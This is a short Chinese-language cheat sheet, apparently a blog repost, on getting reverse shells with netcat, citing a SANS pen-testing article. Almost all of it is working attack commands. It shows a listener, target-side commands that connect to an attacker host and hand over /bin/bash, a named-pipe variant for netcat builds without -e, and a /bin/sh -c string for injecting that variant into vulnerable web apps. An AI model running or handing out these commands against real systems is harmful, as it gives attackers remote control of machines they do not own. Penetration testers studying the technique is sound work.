netcat反弹shell

注意:如果想要在小于1024的端口做监听,那么需要root权限
一)通用场合
1. 自己机器:nc —nvlp 443
2. 目标机:nc attacker'sIP 443 —e /bin/bash
-n:不解析域名 -v:显示连接信息 -l:处于监听状态 -p:端口号(有时需要单独把-p选项拿出来)

二)如果不支持-e选项:如果代码编译的时候没有指定GAPING_SECURITY_HOLE,那么将不会支持-e选项。
1. nc —nvlp 443
2. 目标机:
   victim$ mknod /tmp/backpipe p
   victim$ /bin/sh 0</tmp/backpipe | nc pentestbox 443 1>/tmp/backpipe
通过mknod创建一个命名管道(FIFO)backpipe,p指定管道类型。相应的我们可以使用mkfifo来创建一个命名管道,这样可以省略p选项。大多数shell可以省略 0<和1>,但是有些诡异的shell,必须使用0<和1>。

三)如果可以注入命令,但是没有shell(有时这种状况出现在一些web app),这时需要自己调用/bin/shell,然后使用-c参数来调用命令(另一个shell),然后重定向到netcat。通过如下命令注入。
/bin/sh —c "/bin/sh 0</tmp/backpipe | nc pentestbox 443 1>/tmp/backpipe"

http://pen-testing.sans.org/blog/pen-testing/2013/05/06/netcat-without-e-no-problem

你可能感兴趣的:(shell)